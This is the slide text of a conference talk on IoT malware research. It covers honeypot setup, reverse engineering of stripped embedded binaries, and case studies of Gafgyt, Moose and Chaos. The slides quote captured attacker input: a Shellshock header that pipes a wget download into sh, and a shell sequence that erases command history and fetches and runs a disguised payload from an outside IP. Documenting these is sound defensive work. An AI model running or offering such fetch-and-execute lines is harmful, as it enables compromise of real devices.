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$ apropos
Internet of Things (IoT) is very trendy
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We ❤  HackFest!



$ whoami
Cybersecurity Researcher at GoSecure

Co-founder MontréHack (hands-on security
workshops)

VP Training and Hacker Jeopardy at NorthSec 

 



Problem Area



Internet of Things
Embedded system (small CPU/memory/cost)

Networked (bluetooth / wi� / ethernet)

Generally running Linux

No user interface



Internet of Things (cont.)
The really problematic IoT

Exposes Telnet or SSH

Full user-land (busybox)

Has global default credentials

Can be plugged directly on the Internet

Has bene�ts of being plugged on the Internet



No [General Purpose] User
Interface

Web interface

Mobile interface

No interface





No 3rd Party Software
Which implies no end-point security software



Malware Investigation on IoT
Is di�erent than usual Desktop, Mobile or even Server-side threats



Problem
Having access to binary samples





Soldering
Requires actual hardware

Doesn’t scale



Asking [Nicely] For Files
People don’t even know they are infected

Extraction requires specialized knowledge

Doesn’t scale



Finding a Way In
Most Malware gets in via Telnet / SSH

Reuse that path

But: could be tampered with

and it’s illegal



Hunting on Virus Total
Relies on individuals that are submitting

Not a lot of samples



Solution
Collect threats by mimicking actual targets via Honeypots



Problem
Honeypots are complex



Honeypots
De�nition: System that lure attackers into showing how they operate
(including �les)

Pick components and architecture



IoT Honeypots
Hardware-based?

Maintenance

Monitoring

Geographic limitations

Software-based?

Slower

Can be �ngerprinted

More �exible

Cheaper



Type of Honeypot
Low Interaction Honeypot

Requires less monitoring

Less chance of becoming part of the problem (spreading an infection)





Components
Full packet capture: dumpcap

Emulator of embedded architecture and userland: QEMU + Debian image

Low interaction Honeypot: Cowrie

HTTPS man-in-the-middle: mitmproxy



Honeypot choice
Cowrie

Emulate �lesystem of target device

Modify output of commands

Easy to patch

But no Telnet… 







Man-In-The-Middle: mitmproxy
Intercept SOCKS-proxied HTTPS tra�c

Stable (running for months)

Doesn’t do iptables by itself

libmitmproxy to parse logs and extract data



Full Packet Capture
tcpdump vs dumpcap

dumpcap more modern

Automatic rotation:

Move your SSH to non-standard port and �lter it out

-b duration:$(( 24 * 60 * 60))



Problem
Reverse engineering



Biggest problem
Statically-linked stripped binaries



Static/stripped ELF primer
No imports (library calls) present

All the code bundled together down to kernel syscall

Disassembler (if available for arch) doesn’t help much



Binary in IDA



printf family









Ecosystem makes it worst [for
reversers]

GCC and GNU libc are always changing so compiled binaries always change

Little IDA FLIRT signatures available (if any)

Various C libraries: µClibc, eglibc, glibc, musl, … 



A Failed Attempt
Map syscalls with 

But libc is too big

Still too much code to RE

IDA script

https://github.com/eset/malware-research/blob/master/moose/ida/mips_identify_syscalls.py


Better Solution
Reproduce environment (arch, libc/compiler versions)

Build libraries w/ symbols under same conditions

Use bindi� to map library functions

Focus on malware code





Other Reverse-Engineering
Problems

Dynamic analysis needs to match environmental constraints of targets

Architecture

Storage

Shell access to targeted platform



Problem
Data Analysis



Important amount of data
Pcaps

Logs

Collected for months

Distributed



Solution
Centralized on a single server (pull)

iPython Notebook as a collaborative IDE

Scalable libraries: pandas / numpy / scipy

Parallelize heavy CPU or I/O tasks with simpler independent scripts and
GNU parallel

Speci�c tools for speci�c data: tshark for pcaps, mitmproxy library for
mitmproxy logs



Story Time
Three cases of IoT [embedded linux] malware

stories



LizardSquad
Linux/Gafgyt malware





What is LizardSquad?
Black hat hacking group

Lots of Distributed Denial of Service (DDoS)

DDoS PlayStation Network and Xbox live in Christmas 2014

Bomb threats

DDoS for hire (LizardStresser)



CYBER-RASCALS!





The Malware
Linux/Gafgyt

Linux/Powbot, Linux/Aidra, Kaiten, … 

Probably others, as source is public



Caracteristics
Telnet scanner

Flooding: UDP, TCP, Junk and Hold

Multiple architectures: SuperH, MIPS, ARM, x86, PowerPC, … 



Some Server Code
"*****************************************" 

"*        WELCOME TO THE BALL PIT        *" 

"*     Now with *refrigerator* support   *" 

"*****************************************"



Attack Vectors
Shellshock

SSH credentials brute-force

Telnet credentials brute-force



Exemple of Shellshock Attempt
GET /cgi-bin/authLogin.cgi HTTP/1.1 

Host: 127.0.0.1 

Cache-Control: no-cache 

Connection: Keep-Alive 

Pragma: no-cache 

User-Agent: () { goo;}; wget -qO - http://o.kei.su/qn | sh > /dev/null 2>&1 &



Other Variants
HTTPS support

CloudFlare protection bypass





Sophisticated?
LizardStresser database was leaked

Passwords in plaintext… 



IRC Command and Control
------- Day changed to 08/25/15 ------- 

09:32  -!- There are 0 users and 2085 invisible on 1 servers 

09:32  -!- 42 unknown connection(s) 

09:32  -!- 3 channels formed 

09:32  -!- I have 2085 clients and 0 servers 

09:32  -!- 2085 2119 Current local users 2085, max 2119 

09:32  -!- 2085 2119 Current global users 2085, max 2119



Bot Masters
12:56  -!- Topic for #Fazzix: 1k 

12:56  -!- Topic set by void <> (Wed Aug 19 09:58:45 2015) 

12:56 [Users #Fazzix] 

12:56 [~void] [~void_] [@bob1k] [@Fazzix] [ Myutro]· 

12:56  -!- Irssi: #Fazzix: Total of 5 nicks (4 ops, 0 halfops, 0 voices, 1 normal) 

12:56  -!- Channel #Fazzix created Mon Aug 17 03:11:29 2015 

12:56  -!- Irssi: Join to #Fazzix was synced in 2 secs



LizardSquad
Due to source code leaked, very prevalent

Now operated by numerous unrelated actors

Focused on DDoS



Linux/Moose



Linux/Moose
A stealthy botnet who monetizes its activities by

selling fraudulent followers on Instagram,
Twitter, YouTube and other social networks









Publication
Linux/Moose is running a stealthy, pro�table botnet while

advertising the services on the clear Web and selling them to
normal people.

Ego Market: When Greed for Fame Bene�ts Large-Scale Botnets

Released during BlackHat Europe in November 2016





CHAOS





First contact
SSH Credential brute-forcing from TOR IPs

unset HISTFILE ; unset HISTSAVE ; unset HISTLOG ; 

history -n ; unset WATCH ; export HISTFILE=/dev/null; 

export HISTFILE=/dev/null;

strings /usr/sbin/sshd | grep %s:%s -A2 -B 

strings /usr/sbin/sshd | grep -i backdoor 

cat /usr/include/netda.h; cat /usr/include/netdata.h; 

cat /usr/include/gpm2.h; cat /usr/local/include/uconf.h; 

cat /usr/include/ide.h; cat /etc/ ppp/.tmp;cat /usr/include/mac.h

wget http://xxx.xxx.xxx.29/cs/default2.jpg; tar xvf default2.jpg; 

rm -rf default2.jpg; cd chaos; ./inst;



Raw Socket Backdoor?
Checks every packet







Is this good?
No

Pre-shared key is sent in plain text

If recorded, it is easy to generate the same keys and decrypt the whole
tra�c



More to come
A blog post will be released early next week with

details: http://gosecure.net/blog

http://gosecure.net/blog


Future Work



Honeypot
Run binary droppers in a safe way to collect stage 2 samples

Emulate more type of devices

Make it harder to �ngerprint



Data Analysis
Improve visualizations in data analysis pipeline

Splunk or ELK (Elastic Search / Logstash / Kibana) or Graylog

Pcap: AOL’s Moloch

Build higher-level constructs around iPython’s parallelization API



Reverse Engineering
Build IDA FLIRT signatures for more embedded devices architectures and C

libraries



Fixing
the Actual Problem



Fixing the Actual Problem
Device vendors

Stop using default credentials and use per-device credentials instead

Stop exposing general purpose management ports (Telnet, SSH)

Consumers

Put passwords on your devices, even if you have to write it on a post it



Demo!





Fixing the Actual Problem (cont.)
Developers

Have hacker mindset when developing features

Think about attack scalability

Leverage the implied physical access



Take-aways



"IoT is insecure" but it can be �xed for the low
hanging fruit problems

We need to continue actively collecting and
analyzing samples to know in advance what’s
coming next



Questions?
Twitter: 

Blog: 

Github: 

Send malware samples: 

PGP Key Id: 0xEC44EFCD138A63FB

Thank you for attending!

@obilodeau

http://gosecure.net/blog/

https://github.com/obilodeau

obilodeau@gosecure.ca

https://twitter.com/obilodeau
http://gosecure.net/blog/
https://github.com/obilodeau
mailto:obilodeau@gosecure.ca

